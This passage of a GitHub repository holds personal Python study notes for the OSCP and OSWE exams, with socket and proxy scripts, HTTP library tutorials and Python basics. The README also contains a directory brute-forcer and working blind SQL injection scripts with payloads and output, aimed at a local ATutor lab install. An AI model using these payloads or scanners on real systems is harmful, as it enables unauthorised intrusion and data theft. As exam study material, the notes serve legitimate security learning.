| if len(local_buffer): 83 | print("[==>] Received %d bytes from localhost." % len(local_buffer)) 84 | hexdump(local_buffer) 85 | 86 | # send it to our request handler 87 | local_buffer = request_handler(local_buffer) 88 | 89 | # send off the data to the remote host 90 | remote_socket.send(local_buffer) 91 | print("[==>] Sent to remote.") 92 | 93 | # receive back the response 94 | remote_buffer = receive_from(remote_socket) 95 | 96 | if len(remote_buffer): 97 | print("[<==] Received %d bytes from remote." % len(remote_buffer)) 98 | hexdump(remote_buffer) 99 | 100 | # send to our response handler 101 | remote_buffer = response_handler(remote_buffer) 102 | 103 | # send the response to the local socket 104 | client_socket.send(remote_buffer) 105 | 106 | print("[<==] Sent to localhost.") 107 | 108 | # if no more data on either side close the connections 109 | if not len(local_buffer) or not len(remote_buffer): 110 | client_socket.close() 111 | remote_socket.close() 112 | print("[*] No more data. Closing connections.") 113 | break 114 | 115 | 116 | def server_loop(local_host, local_port, remote_host, remote_port, 117 | receive_first): 118 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 119 | 120 | try: 121 | server.bind((local_host, local_port)) 122 | except socket.error as exc: 123 | print("[!!] Failed to listen on %s:%d" % (local_host, 124 | local_port)) 125 | print("[!!] Check for other listening sockets or correct " 126 | "permissions.") 127 | print(f"[!!] Caught exception error: {exc}") 128 | sys.exit(0) 129 | 130 | print("[*] Listening on %s:%d" % (local_host, local_port)) 131 | 132 | server.listen(5) 133 | 134 | while True: 135 | client_socket, addr = server.accept() 136 | 137 | # print out the local connection information 138 | print("[==>] Received incoming connection from %s:%d" % ( 139 | addr[0], addr[1])) 140 | 141 | # start a thread to talk to the remote host 142 | proxy_thread = threading.Thread(target=proxy_handler, args=( 143 | client_socket, remote_host, remote_port, receive_first)) 144 | proxy_thread.start() 145 | 146 | 147 | def main(): 148 | # no fancy command line parsing here 149 | if len(sys.argv[1:]) != 5: 150 | print("Usage: ./proxy.py [localhost] [localport] [remotehost] " 151 | "[remoteport] [receive_first]") 152 | print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") 153 | sys.exit(0) 154 | 155 | # setup local listening parameters 156 | local_host = sys.argv[1] 157 | local_port = int(sys.argv[2]) 158 | 159 | # setup remote target 160 | remote_host = sys.argv[3] 161 | remote_port = int(sys.argv[4]) 162 | 163 | # this tells our proxy to connect and receive data 164 | # before sending to the remote host 165 | receive_first = sys.argv[5] 166 | 167 | if "True" in receive_first: 168 | receive_first = True 169 | else: 170 | receive_first = False 171 | 172 | # now spin up our listening socket 173 | server_loop(local_host, local_port, remote_host, remote_port, receive_first) 174 | 175 | 176 | main() 177 | -------------------------------------------------------------------------------- /Networking Tools/tcp-server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | bind_ip = "0.0.0.0" 5 | bind_port = 9999 6 | 7 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | server.bind((bind_ip, bind_port)) 9 | 10 | server.listen(5) 11 | 12 | print(f"[*] Listening on {bind_ip}:{bind_port}") 13 | 14 | # this is our client handling thread 15 | def handle_client(client_socket): 16 | # just print out what the client sends 17 | request = client_socket.recv(1024) 18 | 19 | print(f"[*] Received: {request}") 20 | 21 | # send back a packet 22 | client_socket.send(b"ACK!") 23 | print(client_socket.getpeername()) 24 | client_socket.close() 25 | 26 | while True: 27 | client, addr = server.accept() 28 | 29 | print(f"[*] Accepted connection from: {addr[0]}:{addr[1]}") 30 | 31 | # spin up our client thread to handle incoming data 32 | client_handler = threading.Thread(target=handle_client, args=(client,)) 33 | client_handler.start() 34 | -------------------------------------------------------------------------------- /Networking Tools/udp-client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "127.0.0.1" 4 | target_port = 80 5 | 6 | # create a socket object 7 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 8 | 9 | # send some data 10 | client.sendto(b"AAABBBCCC", (target_host, target_port)) 11 | 12 | # receive some data 13 | data, addr = client.recvfrom(4096) 14 | 15 | client.close() 16 | print(data) 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | `Updated` 2 | ## ¶‣ 𝐏𝐲𝐭𝐡𝐨𝐧 𝐟𝐨𝐫 𝐖𝐞𝐛 𝐇𝐚𝐜𝐤𝐞𝐫𝐬 3 | 4 | 5 | ``` 6 | I once made plans to study python for OSCP but never did it till the end. 7 | Preparing for OSWE now coz I feel like learning when 8 | I'm doing web stuff and I don't get that same feeling with OSCP Windows/Linux stuff. 9 | Will Try completing this + Gonna rename the repository! 10 | ``` 11 | 12 | > - Foot Notes 13 | > - [Black Hat Python, 2nd Edition](https://g.co/kgs/HUzxMJ) 14 | > - Python Official Documentation 15 | > - Random Google Searches 16 | > - YouTube videos 17 | 18 | 19 |
20 |
21 | 22 |
23 |

Img Credit: https://www.reddit.com/r/Python/comments/gftejm/i_redesign_the_python_logo_to_make_it_more_modern/

24 |
25 |
26 | 27 | --- 28 | 29 | ``` 30 | Objective: 31 | ``` 32 | ``` 33 | By creating a few different tools, you should learn the fundamental 34 | skills you'll need to build any type of web application assessment tool 35 | that your particular attack scenario calls for. 36 | ``` 37 | 38 | ### Table of Content 39 | 40 | ``` 41 | - Learn Python 42 | - Web Hacking 43 | > - Python Libraries for Web 44 | > - `urllib2` for python 2.x 45 | > - `urllib` for python 3.x 46 | > - requests library 47 | > - lxml and BeautifulSoup packages 48 | > - Multi-threading 49 | - Quick Notes: 50 | > - OS Module 51 | > - Reading and Writing to a file 52 | > - Creating and Extracting Zip files 53 | 54 | 55 | ``` 56 | 57 | ### Learn Python 58 | 59 | > - [Python Programming Beginners Tutorial](https://youtu.be/YYXdXT2l-Gg) 60 | > - [World's Best Python (anything and everything related to python) Tutorials (I think)](https://www.youtube.com/playlist?list=PL-osiE80TeTt2d9bfVyTiXJA-UTHn6WwU) 61 | > - [Python OS Module](https://youtu.be/tJxcKyFMTGo) 62 | > - [Python Read and Write to files](https://youtu.be/Uh2ebFW8OYM) 63 | > - [Python Requests Module](https://youtu.be/tb8gHvYlCFs) 64 | > - [Python re Module](https://youtu.be/K8L6KVGG-7o) 65 | > - [Python BeautifulSoup Module](https://youtu.be/ng2o98k983k) 66 | > - [Python JSON Module](https://youtu.be/9N6a-VLBa2I) 67 | > - [Python Itertools Module](https://youtu.be/Qu3dThVy6KQ) 68 | > - [Send Emails using python](https://youtu.be/JRCJ6RtE3xU) 69 | > - [Python Requests-HTML Module](https://youtu.be/a6fIbtFB46g) 70 | > - [Python Subprocess Module](https://youtu.be/2Fp1N6dof0Y) 71 | > - [Python Threading Module](https://youtu.be/IEEhzQoKtQU) 72 | > - [Python Multiprocessing Module](https://youtu.be/fKl2JW_qrso) 73 | > - [Python Zip Files Tutorial](https://youtu.be/z0gguhEmWiY) 74 | 75 | 76 | ## Python Libraries for Web 77 | 78 | - `urllib2` for python 2.x 79 | 80 | > - It's part of the python standard library. 81 | > - Code to make a Simple GET request to a website: 82 | ```python 83 | import urllib2 84 | url = 'https://www.google.com/' 85 | response = urllib2.urlopen(url) # GET 86 | print(response.read()) 87 | response.close() 88 | ``` 89 | 90 | --- 91 | 92 | - `urllib` for python 3.x 93 | > - Part of the python standard library 94 | > - Code to make a Simple GET request to a website: 95 | ```python 96 | import urllib.parse 97 | import urllib.request 98 | 99 | url = 'https://www.google.com/' 100 | with urllib.request.urlopen(url) as response: # GET 101 | content = response.read() 102 | print(content) 103 | ``` 104 | 105 | 106 | > - make a simple POST request 107 | ```python 108 | info = {'user':'blackhat', 'passwd':'1337'} 109 | data = urllib.parse.urlencode(info).encode() # data is now of type bytes 110 | req = urllib.request.Request(url, data) 111 | with urllib.request.urlopen(req) as response: # POST 112 | content = response.read() 113 | 114 | print(content) 115 | ``` 116 | 117 | --- 118 | 119 | - `requests` library 120 | > - Not part of the standard library 121 | > - Hence installation is required: 122 | > ```python 123 | > pip install requests 124 | > ``` 125 | 126 | 127 | > - Importing 128 | > ```python 129 | > import requests 130 | > ``` 131 | 132 | 133 | > - Methods 134 | > ```python 135 | > r = requests.get(url) 136 | > r = requests.post(url, data={'key':'value'}) 137 | > r = requests.put(url, data={'key':'value'}) 138 | > r = requests.delete(url) 139 | > r = requests.head(url) 140 | > r = requests.options(url) 141 | > ``` 142 | 143 | 144 | > - Print Request URL 145 | > ```python 146 | > print(r.url) 147 | > ``` 148 | 149 | 150 | > - Passing params in URLs via GET 151 | > ```python 152 | > payload = {'key1': 'value1', 'key2': 'value2'} 153 | > r = requests.get('https://httpbin.org/get', params=payload) 154 | > ``` 155 | 156 | 157 | > - Passing a list of items 158 | > ```python 159 | > payload = {'key1': 'value1', 'key2': ['value2', 'value3']} 160 | > 161 | > r = requests.get('https://httpbin.org/get', params=payload) 162 | > print(r.url) 163 | > ``` 164 | 165 | 166 | > - Get Response Content in binary form: 167 | > ```python 168 | > r.content 169 | > ``` 170 | > ``` 171 | > Output: 172 | > b'[{"repository":{"open_issues":0,"url":"https://github.com/... 173 | > ``` 174 | 175 | 176 | > - Get Response Content in JSON Format: 177 | > ```python 178 | > r.json() 179 | > ``` 180 | > ``` 181 | > [{'repository': {'open_issues': 0, 'url': 'https://github.com/... 182 | > ``` 183 | 184 | 185 | > - Get raw response content 186 | > ```python 187 | > r.raw.read(10) 188 | > ``` 189 | > ``` 190 | > Output: 191 | > '\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03' 192 | > ``` 193 | 194 | 195 | 196 | > - Add custom header 197 | > ```python 198 | > url = 'https://api.github.com/some/endpoint' 199 | > headers = {'user-agent': 'my-app/0.0.1'} 200 | > 201 | > r = requests.get(url, headers=headers) 202 | > ``` 203 | 204 | 205 | > - POST a multipart-encoded file 206 | > ```python 207 | > url = 'https://httpbin.org/post' 208 | > files = {'file': open('report.xls', 'rb')} 209 | > 210 | > r = requests.post(url, files=files) 211 | > r.text 212 | > ``` 213 | 214 | 215 | > - Get Status Code 216 | > ```python 217 | > r.status_code 218 | > ``` 219 | 220 | 221 | > - Get Response Header 222 | > ```python 223 | > r.headers 224 | > ``` 225 | 226 | 227 | > - Get Cookies 228 | > ```python 229 | > r.cookies 230 | > ``` 231 | 232 | 233 | > - Sending our own cookies 234 | > ```python 235 | > cookies = dict(cookies_are='working') 236 | > 237 | > r = requests.get(url, cookies=cookies) 238 | > r.text 239 | > ``` 240 | 241 | --- 242 | 243 | - `lxml` and `BeautifulSoup` packages 244 | 245 | > - The `lxml` package provides a slightly faster parser, while the `BeautifulSoup` package has logic to automatically detect the target HTML page's encoding. 246 | > - Installation 247 | > ```python 248 | > pip install lxml 249 | > pip install BeautifulSoup 250 | > ``` 251 | 252 | > - Suppose we are having the HTML content from a request stored in a variable named `content`. Using `lxml`, we could retrive the content and parse the links as follows: 253 | > ```python 254 | > from io import BytesIO 255 | > from lxml import etree 256 | > 257 | > import requests 258 | > 259 | > url = 'https://www.example.com' 260 | > r = requests.get(url) 261 | > content = r.content # content is of type 'bytes' 262 | > 263 | > parser = etree.HTMLParser() 264 | > content = etree.parse(BytesIO(content), parser=parser) # Parse into > tree 265 | > for link in content.findall('//a'): # find all "a" anchor elements 266 | > print(f"{link.get('href')} -> {link.text}") 267 | > ``` 268 | > ``` 269 | > Note: I think this only works for python 3.6 or below 270 | > ``` 271 | 272 | > - Same thing Using `BeautifulSoup` 273 | > ```python 274 | > from bs4 import BeautifulSoup as bs 275 | > import requests 276 | > url = "https://www.google.com" 277 | > r = requests.get(url) 278 | > tree = bs(r.text, 'html.parser') # Parse into tree 279 | > for link in tree.find_all('a'): # find all "a" anchor elements 280 | > print(f"{link.get('href')} -> {link.text}") 281 | > ``` 282 | 283 | --- 284 | 285 | - Python Multi-threading: 286 | 287 | > - We will be using Python `Queue` objects which is thread-safe and we won't have race condition. 288 | > - Let's understand this by creating a file brute-forcing tool. 289 | > 290 | ```python 291 | import queue 292 | import threading 293 | import urllib.error 294 | import urllib.parse 295 | import urllib.request 296 | 297 | threads = 50 298 | target_url = "http://testphp.vulnweb.com" 299 | wordlist_file = "all.txt" # from SVNDigger 300 | resume = None 301 | user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) " \ 302 | "Gecko/20100101 " \ 303 | "Firefox/19.0" 304 | 305 | 306 | def build_wordlist(wordlst_file): 307 | # read in the word list 308 | fd = open(wordlst_file, "r") 309 | raw_words = [line.rstrip('\n') for line in fd] 310 | fd.close() 311 | 312 | found_resume = False 313 | words = queue.Queue() 314 | 315 | for word in raw_words: 316 | if resume: 317 | if found_resume: 318 | words.put(word) 319 | else: 320 | if word == resume: 321 | found_resume = True 322 | print("Resuming wordlist from: %s" % resume) 323 | else: 324 | words.put(word) 325 | return words 326 | 327 | 328 | def dir_bruter(extensions=None): 329 | while not word_queue.empty(): 330 | attempt = word_queue.get() 331 | attempt_list = [] 332 | 333 | # check if there is a file extension if not 334 | # it's a directory path we're bruting 335 | if "." not in attempt: 336 | attempt_list.append("/%s/" % attempt) 337 | else: 338 | attempt_list.append("/%s" % attempt) 339 | 340 | # if we want to bruteforce extensions 341 | if extensions: 342 | for extension in extensions: 343 | attempt_list.append("/%s%s" % (attempt, extension)) 344 | 345 | # iterate over our list of attempts 346 | for brute in attempt_list: 347 | url = "%s%s" % (target_url, urllib.parse.quote(brute)) 348 | try: 349 | headers = {"User-Agent": user_agent} 350 | r = urllib.request.Request(url, headers=headers) 351 | response = urllib.request.urlopen(r) 352 | if len(response.read()): 353 | print("[%d] => %s" % (response.code, url)) 354 | except urllib.error.HTTPError as e: 355 | if e.code != 404: 356 | print("!!! %d => %s" % (e.code, url)) 357 | pass 358 | 359 | 360 | word_queue = build_wordlist(wordlist_file) 361 | file_extensions = [".php", ".bak", ".orig", ".inc"] 362 | 363 | for i in range(threads): 364 | t = threading.Thread(target=dir_bruter, args=(file_extensions,)) 365 | t.start() 366 | ``` 367 | 368 | --- 369 | 370 | - Retrieving the length of database name 371 | > - Script: 372 | > ```python 373 | > import multiprocessing as mp 374 | > import requests 375 | > 376 | > target = "http://localhost/atutor/mods/_standard/social/index_public.php" 377 | > 378 | > def db_length(number): 379 | > payload = f"te')/**/or/**/(length(database()))={number}#" 380 | > param = {'q': payload} 381 | > r = requests.get(target, param) 382 | > content_length = int(r.headers['Content-length']) 383 | > if content_length > 20: 384 | > print(number) 385 | > 386 | > if __name__ == "__main__": 387 | > print('[*] Retreiving Database Length: \n[*] Database length: ', end=' ') 388 | > processes = [] 389 | > for number in range(30): 390 | > p = mp.Process(target=db_length, args=[number]) 391 | > p.start() 392 | > processes.append(p) 393 | > for process in processes: 394 | > process.join() 395 | > 396 | > 397 | > ``` 398 | > - Output: 399 | > ``` 400 | > python .\atutor_dblength.py 401 | > [*] Retreiving Database Length: 402 | > [*] Database length: 6 403 | > ``` 404 | 405 | --- 406 | 407 | 408 | - Retrieving the database name 409 | 410 | > - Script: 411 | > ```python 412 | > import requests 413 | > import concurrent.futures 414 | > 415 | > target = "http://localhost/atutor/mods/_standard/social/index_public.php" 416 | > final_string = {} 417 | > 418 | > def db_length(number): 419 | > payload = f"te')/**/or/**/(length(database()))={number}#" 420 | > param = {'q': payload} 421 | > r = requests.get(target, param) 422 | > content_length = int(r.headers['Content-length']) 423 | > if content_length > 20: 424 | > return number 425 | > 426 | > 427 | > def atutor_dbRetrieval(l): 428 | > for j in range(32, 256): 429 | > payload = f"te')/**/or/**/(select/**/ascii(substring(database(),{l},1))={j})#" 430 | > param = {'q': payload} 431 | > r = requests.get(target, param) 432 | > content_length = int(r.headers['Content-length']) 433 | > if content_length > 20: 434 | > final_string[l-1] = chr(j) 435 | > print(''.join(final_string[i] for i in sorted(final_string.keys()))) 436 | > 437 | > 438 | > 439 | > if __name__ == "__main__": 440 | > print('[*] Retreiving Database Length: \n[*] Database length: ', end=' ') 441 | > 442 | > db_len = 0 443 | > with concurrent.futures.ProcessPoolExecutor() as executor: 444 | > results = [executor.submit(db_length, _) for _ in range(30)] 445 | > 446 | > for f in concurrent.futures.as_completed(results): 447 | > if f.result() != None: 448 | > db_len = f.result() 449 | > print(db_len) 450 | > 451 | > print("[+] Retrieving Database name: ....") 452 | > with concurrent.futures.ThreadPoolExecutor() as executor: 453 | > results = [executor.submit(atutor_dbRetrieval, index) for index in range(db_len+1)] 454 | > 455 | > print("[+] Database Name: ", end=" ") 456 | > print(''.join(final_string[i] for i in sorted(final_string.keys()))) 457 | > print("[+] Done") 458 | > ``` 459 | > ``` 460 | > Output: 461 | > python .\atutor_dbRetrieval-fast.py 462 | > [*] Retreiving Database Length: 463 | > [*] Database length: 6 464 | > [+] Retrieving Database name: .... 465 | > a 466 | > ao 467 | > aor 468 | > ator 469 | > attor 470 | > atutor 471 | > [+] Database Name: atutor 472 | > [+] Done 473 | > ``` 474 | 475 | --- 476 | 477 | 478 | 479 | ## Quick Notes: 480 | 481 | - OS Module 482 | > ``` 483 | > + os.getcwd() => get curret working directory 484 | > + os.chdir() => change directory 485 | > + os.listdir() => list directory 486 | > + os.mkdir() => create a directory 487 | > + os.makedirs() => make directories recursively 488 | > + os.rmdir() => remove directory 489 | > + os.removedirs() => remove directory recursively 490 | > + os.rename(, ) => rename file 491 | > + os.stat() => print all info of a file 492 | > + os.walk() => traverse directory recursively 493 | > + os.environ => get environment variables 494 | > + os.path.join(, ) => join path without worrying about / 495 | > + os.path.basename() => get basename 496 | > + os.path.dirname() => get dirname 497 | > + os.path.exists() => check if the path exists or not 498 | > + os.path.splitext() => split path and file extension 499 | > + dir(os) => check what methods exists 500 | > 501 | > ``` 502 | 503 | --- 504 | 505 | - Reading and Writing to a file 506 | > - Open file in read mode: 507 | > ```python 508 | > with open('test.txt', 'r') as f: 509 | > ``` 510 | 511 | > - Read file 512 | > ```python 513 | > with open('test.txt', 'r') as f: 514 | > f_contents = f.read() 515 | > print(f_contents) 516 | > ``` 517 | 518 | > - Get all lines into a list 519 | > ```python 520 | > with open('test.txt', 'r') as f: 521 | > f_contents = f.readlines() 522 | > print(f_contents) 523 | > ``` 524 | 525 | > - Read 1 line at a time 526 | > ```python 527 | > with open('test.txt', 'r') as f: 528 | > f_contents = f.readline() 529 | > print(f_contents) 530 | > ``` 531 | > - Note: Everytime we use readline() function, it reads the next line of the file 532 | > - Example: 533 | > ```python 534 | > with open('test.txt', 'r') as f: 535 | > f_contents = f.readline() 536 | > print(f_contents, end='') 537 | > 538 | > f_contents = f.readline() 539 | > print(f_contents) 540 | > ``` 541 | 542 | > - Another way of reading file (I guess most efficient) 543 | > ```python 544 | > with open('test.txt', 'r') as f: 545 | > for line in f: 546 | > print(line, end='') 547 | > ``` 548 | 549 | > - Go back to start of the file 550 | > ```python 551 | > f.seek(0) 552 | > ``` 553 | 554 | > - Writing to a file 555 | > ```python 556 | > with open('test2.txt', 'w') as f: 557 | > f.write('Test') 558 | > ``` 559 | > - Note: `w` will overwrite the file, so use `a` if you wanna append 560 | 561 | > - Append to a file 562 | > ```python 563 | > with open('test2.txt', 'a') as f: 564 | > f.write('Test') 565 | > ``` 566 | 567 | > - Read and write to a file at the same time 568 | > ```python 569 | > with open('test.txt', 'r') as rf: 570 | > with open('test_copy.txt', 'w') as wf: 571 | > for line in rf: 572 | > wf.write(line) 573 | > ``` 574 | 575 | --- 576 | 577 | - Creating and Extracting Zip files 578 | 579 | > - Creating a zip file with files already present in given directory 580 | > ```python 581 | > import zipfile 582 | > 583 | > with zipfile.ZipFile('files.zip', 'w') as my_zip: 584 | > my_zip.write('test.txt') 585 | > ``` 586 | 587 | > - Creating a compressed zip file with files already present in given directory 588 | > ```python 589 | > import zipfile 590 | > 591 | > with zipfile.ZipFile('files.zip', 'w', compression=zipfile.ZIP_DEFLATED) as my_zip: 592 | > my_zip.write('test.txt') 593 | > ``` 594 | 595 | > - list contents of a zip file 596 | > ```python 597 | > import zipfile 598 | > 599 | > with zipfile.ZipFile('files.zip', 'r') as my_zip: 600 | > print(my_zip.namelist()) 601 | > ``` 602 | 603 | > - Extract all files from a zipped file 604 | > ```python 605 | > import zipfile 606 | > 607 | > with zipfile.ZipFile('files.zip', 'r') as my_zip: 608 | > my_zip.extractall('files') 609 | > ``` 610 | 611 | > - Extract a single file from a zipped file 612 | > ```python 613 | > import zipfile 614 | > 615 | > with zipfile.ZipFile('files.zip', 'r') as my_zip: 616 | > my_zip.extract('test.txt') 617 | > ``` 618 | 619 | > - Another way of creating zip 620 | > ```python 621 | > import shutil 622 | > 623 | > shutil.make_archive('zip_name', 'extension', 'to_zip') 624 | > ``` 625 | > - Extension list 626 | > ``` 627 | > zip: zip file 628 | > tar: uncompressed tar file 629 | > gztar: gzip'ed tar file 630 | > bztar: bzip2'ed tar file 631 | > xztar: xz'ed tar file 632 | > ``` 633 | 634 | > - Another way of extracting zip 635 | > ```python 636 | > import shutil 637 | > 638 | > shutil.unpack_archive('zip_name.extension', 'to_unzip') 639 | > ``` 640 | > 641 | 642 | --- 643 | 644 | - Python JSON Module 645 | 646 | ```python 647 | import json 648 | 649 | # some JSON: 650 | x = '{ "name":"John", "age":30, "city":"New York"}' 651 | 652 | # parse x: 653 | y = json.loads(x) 654 | 655 | # the result is a Python dictionary: 656 | print(y["age"]) 657 | ``` 658 | -------------------------------------------------------------------------------- /README.old.md: -------------------------------------------------------------------------------- 1 | ``` 2 | I'm preparing for OSCP, so the repo name makes sense! ;) plus, it's my personal notes. 3 | It's good if you find it helpful, if not I don't care. Thanks! 4 | ``` 5 | 6 | ## ⁍ 𝐏𝐲𝐭𝐡𝐨𝐧 𝐅𝐨𝐫 𝐄𝐭𝐡𝐢𝐜𝐚𝐥 𝐇𝐚𝐜𝐤𝐞𝐫𝐬 : 𝐅𝐫𝐨𝐦 𝐛𝐞𝐠𝐢𝐧𝐧𝐞𝐫𝐬 𝐭𝐨 𝐀𝐝𝐯𝐚𝐧𝐜𝐞𝐝 7 | 8 | - `29th March 2022` - Started 9 | - `12th April 2022` - Expected 10 | - Expected Footnotes: 11 | - `Learn Python 3 The Hard Way` 12 | - `Learn More Python 3 The Hard Way` 13 | - `Violent Python` 14 | - `Black Hat Python` 15 | - [The Complete Python Hacking Course: Beginner To Advance! (2021)](https://youtu.be/0NQ2aMxBYNE) 16 | - [The Complete Python Hacking Course Playlist](https://youtube.com/playlist?list=PL9bcYdRTwTIme7BckMbAd55KdwEzeSe9m) 17 | 18 | 19 | ## ‣ 𝐓𝐚𝐛𝐥𝐞 𝐨𝐟 𝐂𝐨𝐧𝐭𝐞𝐧𝐭𝐬 20 | 21 | - [Basics](#𝐁𝐚𝐬𝐢𝐜𝐬) 22 | - Printing anything 23 | - Adding Comments 24 | - Numbers and Maths 25 | - Variables 26 | - Escape 27 | - Taking Input 28 | - Read File 29 | - Reading and writing files 30 | - Copying one file to another 31 | - Functions 32 | - If-elif-else 33 | - For loop 34 | - while loop 35 | - Old Style String Format 36 | - Operators 37 | - Dictionary 38 | - Class/Object in python 39 | - [Violent Python](#𝐕𝐢𝐨𝐥𝐞𝐧𝐭-𝐏𝐲𝐭𝐡𝐨𝐧) 40 | - [Installing a library](#-Installing-a-Library) 41 | - [Banner Grabbing Script](#-Banner-Grabbing-Script) 42 | 43 | - [Modules](#𝐌𝐨𝐝𝐮𝐥𝐞𝐬) 44 | - [socket](#-socket-module) 45 | 46 | ## 𝐁𝐚𝐬𝐢𝐜𝐬 47 | 48 | - Printing anything 49 | 50 | ``` 51 | print("Hello there!") 52 | print("Repo Name: Python for OSCP") 53 | ``` 54 | 55 | - Adding Comments : 56 | - `using # (called as hash or pound or octothorpe (lol, funny name!))` 57 | 58 | ``` 59 | # This is a single line comment 60 | 61 | """ 62 | This 63 | is a 64 | multiline 65 | Comment 66 | """ 67 | ``` 68 | 69 | - Numbers and Maths 70 | 71 | ``` 72 | +: plus 73 | -: minus 74 | /: slash 75 | *: asterisk 76 | %: percent 77 | <: less-than 78 | >: greater-than 79 | <=: less-than-equal 80 | >=: greater-than-equal 81 | ``` 82 | 83 | - Variables 84 | 85 | ``` 86 | name = "Shreyas" 87 | 88 | print("My name is ", name) 89 | print(f"What man!? You have ear problems. Listen again! MY NAME IS {name}. GOT IT?") 90 | print("I'm pissed now. Here is my name: {}".format(name)) 91 | ``` 92 | 93 | - use `\n` to end line 94 | - use `\t` for tab 95 | - escape quotes 96 | 97 | ``` 98 | print("I'm 6'1\" ft tall") 99 | print('I\'m 6\'1" ft tall') 100 | ``` 101 | 102 | - Escape 103 | 104 | Escape | What it does 105 | --- | --- 106 | `\\` | Backslash (\) 107 | `\'` | Single Quote (') 108 | `\"` | Double Quote (") 109 | `\a` | ASCII bell (BEL) 110 | `\b` | ASCII backspace (BS) 111 | `\f` | ASCII formfeed (FF) 112 | `\n` | ASCII linefeed (LF) 113 | `\N{name}` | Character named name in the Unicode database (Unicode only) 114 | `\r` | Carriage return (CR) 115 | `\t` | Horizontal tab (TAB) 116 | `\uxxxx` | Character with 16-bit hex value xxxx 117 | `\Uxxxxxxxx` | Character with 32-bit hex value xxxxxxxx 118 | `\v` | ASCII vertical tab (VT) 119 | `\ooo` | Character with octal value ooo 120 | `\xhh` | Character with hex value hh 121 | 122 | - Taking input 123 | 124 | ``` 125 | age = input("How old are you? ") 126 | ``` 127 | 128 | - Taking arguments as input on terminal 129 | 130 | ``` 131 | from sys import argv 132 | 133 | script, first, second, third = argv 134 | 135 | print("The script is called: ", script) 136 | print("First Variable is: ", first) 137 | print("Second Variable is: ", second) 138 | print("Third Variable is: ", third) 139 | ``` 140 | ``` 141 | $ python arguments.py first 2nd 3rd 142 | The script is called: arguments.py 143 | First variable is: first 144 | Second variable is: 2nd 145 | Third variable is: 3rd 146 | ``` 147 | 148 | - Read file 149 | 150 | ``` 151 | from sys import argv 152 | 153 | script, filename = argv 154 | 155 | txt = open(filename) 156 | print(txt.read()) 157 | ``` 158 | 159 | - Reading and writing files 160 | ``` 161 | - `close` : Closes the file. Like `File -> Save`... in your editor 162 | - `read`: Reads the contents of the file. You can assign the result to a variable 163 | - `readline`: Reads just one line of a text file. 164 | - `truncate`: Empties the file. Watch out if you care about the file. 165 | - `write('stuff')`: Writes "stuff" to the file. 166 | - `seek(0)`: Move the read/write location to the beginning of the file. 167 | ``` 168 | 169 | ``` 170 | from sys import argv 171 | 172 | script, filename = argv 173 | 174 | print("Opening the file...") 175 | target = open(filename, 'w') 176 | 177 | print("Truncating the file. Goodbye!") 178 | target.truncate() 179 | 180 | print("Let's write a line.") 181 | target.write("Hey! My name is shreyas") 182 | 183 | target.close() 184 | ``` 185 | 186 | - copying one file to another 187 | 188 | ``` 189 | from sys import argv 190 | 191 | script, from_file, to_file = argv 192 | file1 = open(from_file) 193 | data = file1.read() 194 | 195 | file2 = open(to_file, 'w') 196 | file2.write(data) 197 | 198 | file2.close() 199 | file1.close() 200 | ``` 201 | 202 | - Functions 203 | 204 | ``` 205 | # this one is like your scripts with argv 206 | def print_two(*args): 207 | arg1, arg2 = args 208 | print(f"arg1: {arg1}, arg2: {arg2}") 209 | 210 | # ok, that *args is actually pointless, we can just do this 211 | def print_two_again(arg1, arg2): 212 | print(f"arg1: {arg1}, arg2: {arg2}") 213 | 214 | print_two("Shreyas", "Chavhan") 215 | print_two_again("Shreyas", "Chavhan") 216 | 217 | ``` 218 | 219 | - if, elif, else 220 | 221 | ``` 222 | if test expression: 223 | Body of if 224 | elif test expression: 225 | Body of elif 226 | else: 227 | Body of else 228 | ``` 229 | 230 | - list 231 | 232 | ``` 233 | a = [1, 2, 3, 4, 5] 234 | # this is a list 235 | 236 | print(a[1]) # prints element at index 1 237 | ``` 238 | 239 | - for loop 240 | 241 | ``` 242 | a = [1, 2, 3, 4, 5] 243 | for i in a: 244 | print(i) 245 | ``` 246 | 247 | - while loop 248 | 249 | ``` 250 | i = 0; 251 | while i < 6: 252 | print(i) 253 | i += 1 254 | ``` 255 | 256 | - Old style String Format 257 | 258 | Escape | Description 259 | --- | --- 260 | `%d` | Decimal integers (not floating point) 261 | `%i` | Same as %d 262 | `%o` | Octal number 263 | `%u` | Unsigned decimal 264 | `%x` | Hexadecimal lowercase 265 | `%X` | Hexadecimal uppercase 266 | `%e` | Exponential notation, lowercase "e" 267 | `%E` | Exponential notation, uppercase "E" 268 | `%f` | floating point real number 269 | `%F` | Same as %f 270 | `%g` | Either %f or %e, whichever is shorter 271 | `%G` | Same as %g but uppercase 272 | `%c` | character format 273 | `%r` | Repr format (debugging format) 274 | `%s` | String format 275 | `%%` | A percent sign 276 | 277 | - Operators 278 | 279 | Operator | Description 280 | ---|--- 281 | `+` | Addition 282 | `-` | Subtraction 283 | `*` | Multiplication 284 | `**` | Power of 285 | `/` | Division 286 | `//` | Floor Division 287 | `%` | String interpolate or modulus 288 | `<` | Less than 289 | `>` | Greater than 290 | `<=` | Less than equal 291 | `>=` | Greater than equal 292 | `==` | Equal 293 | `!=` | Not equal 294 | `( )` | Parentheses 295 | `[ ]` | List brackets 296 | `{ }` | Dict curly braces 297 | `@` | At (decorators) 298 | `,` | Comma 299 | `:` | Colon 300 | `.` | Dot 301 | `=` | Assign Equal 302 | `;` | Semi-colon 303 | `+=` | Add and assign 304 | `-=` | Subtract and assign 305 | `*=` | Multiply and assign 306 | `/=` | Divide and assign 307 | `//=` | Floor divide and assign 308 | `%=` | Modulus assign 309 | `**=` | Power assign 310 | 311 | - Dictionary 312 | 313 | ``` 314 | >>> stuff = {'name': 'Zed', 'age': 39, 'height': 6 * 12 + 2} 315 | >>> print(stuff['name']) 316 | Zed 317 | >>> print(stuff['age']) 318 | 39 319 | ``` 320 | 321 | - Class/Object in python 322 | 323 | ``` 324 | class Person: 325 | def __init__(self, name, age): 326 | self.name = name 327 | self.age = age 328 | 329 | p1 = Person("John", 36) 330 | 331 | print(p1.name) 332 | print(p1.age) 333 | ``` 334 | 335 | 